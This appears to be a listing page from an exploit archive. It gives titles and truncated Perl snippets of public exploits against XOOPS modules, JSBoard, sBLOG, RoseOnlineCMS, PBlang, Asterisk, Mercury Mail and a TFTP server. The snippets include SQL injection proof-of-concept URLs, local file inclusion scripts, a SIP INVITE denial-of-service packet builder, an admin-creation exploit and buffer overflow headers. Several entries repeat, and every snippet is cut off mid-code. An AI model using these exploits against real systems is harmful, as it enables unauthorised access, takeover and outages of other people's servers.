XOOPS Module myAlbum-P <= 2.0 (cid) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================================ XOOPS Module myAlbum-P : "; $dir = ; chop $dir; if $dir = /exit/ print "-- Exploit FailedYou Are Exited \n"; exit; if $dir = /// else print "-- Exploit FailedNo DIR \n"; exit...

XOOPS Module Camportail <= 1.1 (camid) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications =================================================================== XOOPS Module Camportail : "; $dir = ; chop $dir; if $dir = /exit/ print "-- Exploit FailedYou Are Exited \n"; exit; if $dir = /// else print "-- Exploit FailedNo DIR \n";...

XOOPS Module Core (viewcat.php) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================ XOOPS Module Core viewcat.php Remote SQL Injection Exploit ============================================================ !/usr/bin/perl Script Name: XOOPS Module Core viewcat.php...

JSBoard 2.0.10 (login.php table) Local File Inclusion Vulnerability

Exploit for unknown platform in category web applications =================================================================== JSBoard 2.0.10 login.php table Local File Inclusion Vulnerability =================================================================== !/usr/bin/perl jsboard 2.0.10login.ph...

xoops-blind.txt

Xoops All Version -Articles- Print.PHP ID Blind SQL Injection Exploit And PoC Type : SQL Injection Release Date : 2007-03-26 Product / Vendor : Xoops Portal http://www.Xoops.Org Bug : http://localhost/script/modules/articles/print.php?id=x AND 1=1 or 1=0 PoC :...

sBLOG 0.7.3 Beta - '/inc/lang.php' Local File Inclusion

!/usr/bin/perl sBLOG 0.7.3 Betainc/lang.phpLocal File Inclusion Exploit D.Script: http://sourceforge.net/projects/sblog/ V.Code: ifisset$conflangdefault && fileexists'lang/' . $conflangdefault . '.php' require'lang/' . $conflangdefault . '.php'; Discovered & Coded by : GolDM = Mahmoodali...

XOOPS module Articles <= 1.02 (print.php id) SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================================== XOOPS module Articles \n"; print "Examp: $0 www.victim.com /path 1\n"; print...

Asterisk &lt;= 1.2.16 / 1.4.1 SIP INVITE Remote Denial of Service Exploit

No description provided by source. !/usr/bin/perl perl asterisk-Invite.pl 192.168.1.104 5060 userX 192.168.1.2 5060 userY use IO::Socket::INET; die "Usage $0 dst dport dusername src sport susername" unless $ARGV5; $socket=new IO::Socket::INET-newPeerPort=$ARGV1, Proto='udp',...

PBlang <= 4.66z Remote Create Admin Exploit

No description provided by source. !/usr/bin/perl PBlang 4.66z Create Admin Exploit this exploit register a user with admin access Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use IO::Socket; use LWP::UserAgent; use HTTP::Cookies; $host = $ARGV0; $uname = $ARGV1; $passwd = $ARGV2; $url...

Joomla Component com_resman SQL Injection Vulnerability

Exploit for php platform in category web applications ======================================================= Joomla Component comresman SQL Injection Vulnerability ======================================================= InformatioN Title : Joomla Mosets Tree : "; $dir = ; chop $dir; if $dir =...

Asterisk 1.2.161.4.1 - SIP INVITE Remote Denial of Service

Asterisk 1.2.161.4.1 - SIP INVITE Remote Denial of Service !/usr/bin/perl perl asterisk-Invite.pl 192.168.1.104 5060 userX 192.168.1.2 5060 userY use IO::Socket::INET; die "Usage $0 " unless $ARGV5; $socket=new IO::Socket::INET-newPeerPort=$ARGV1, Proto='udp', PeerAddr=$ARGV0; $msg="INVITE...

Asterisk 1.2.16/1.4.1 - SIP INVITE Remote Denial of Service

!/usr/bin/perl perl asterisk-Invite.pl 192.168.1.104 5060 userX 192.168.1.2 5060 userY use IO::Socket::INET; die "Usage $0 " unless $ARGV5; $socket=new IO::Socket::INET-newPeerPort=$ARGV1, Proto='udp', PeerAddr=$ARGV0; $msg="INVITE sip:$ARGV2@$ARGV0:$ARGV1 SIP/2.0\r\nVia: SIP/2.0/UDP...

PBlang 4.66z - Remote Code Execution

PBlang 4.66z - Remote Code Execution !/usr/bin/perl PBlang 4.66z Remote Command Execution Exploit this Exploit register a user with admin access - magicquotesgpc = Off - Only work on 4.66z Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use IO::Socket; use LWP::UserAgent; use HTTP::Cookie...

Asterisk &lt;= 1.2.16 / 1.4.1 SIP INVITE Remote Denial of Service Exploit

No description provided by source. !/usr/bin/perl perl asterisk-Invite.pl 192.168.1.104 5060 userX 192.168.1.2 5060 userY use IO::Socket::INET; die "Usage $0 dst dport dusername src sport susername" unless $ARGV5; $socket=new IO::Socket::INET-newPeerPort=$ARGV1, Proto='udp', PeerAddr=$ARGV0;...

PBlang 4.66z - Remote Create Admin

!/usr/bin/perl PBlang 4.66z Create Admin Exploit this exploit register a user with admin access Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use IO::Socket; use LWP::UserAgent; use HTTP::Cookies; $host = $ARGV0; $uname = $ARGV1; $passwd = $ARGV2; $url = "http://".$host; print q PBLANG...

RoseOnlineCMS 3 beta2 (op) Local File Inclusion Exploit

No description provided by source. !/usr/bin/perl RoseOnlineCMS v3 B1opLocal File Inclusion Exploit P.Script: http://heanet.dl.sourceforge.net/sourceforge/rosecms/RoseOnlineCMSv3B1.rar V.Code: $op = !isset$GET'op' ? home : $GET'op' ; if isfile"modules/".$op.".php"...

Mercury Mail 4.0.1 (LOGIN) Remote IMAP Stack Buffer Overflow Expl

Exploit for unknown platform in category remote exploits ==================================================================== Mercury Mail 4.0.1 LOGIN Remote IMAP Stack Buffer Overflow Exploit ==================================================================== !/usr/bin/perl...

Mercury/32 Mail Server 4.0.1 - 'LOGIN' Remote IMAP Stack Buffer Overflow

!/usr/bin/perl https://www.securityfocus.com/bid/11775 credit to Muts for this vulnerability acaro at jervus.it use IO::Socket::INET; use Switch; if @ARGV 3 print "--------------------------------------------------------------------\n"; print "Usage : mercury-4444-multi.pl -hTargetIPAddress...

RoseOnlineCMS 3 beta2 - 'op' Local File Inclusion

!/usr/bin/perl RoseOnlineCMS v3 B1opLocal File Inclusion Exploit P.Script: http://heanet.dl.sourceforge.net/sourceforge/rosecms/RoseOnlineCMSv3B1.rar V.Code: $op = !isset$GET'op' ? home : $GET'op' ; if isfile"modules/".$op.".php" include"modules/".$op.".php"; use IO::Socket; use LWP::Simple; ripp...

FutureSoft TFTP Server 2000 - Remote Overwrite (SEH)

FutureSoft TFTP Server 2000 - Remote Overwrite SEH !/usr/bin/perl =============================================================================================== FutureSoft TFTP Server 2000 Remote SEH Overwrite Exploit By Umesh Wanve...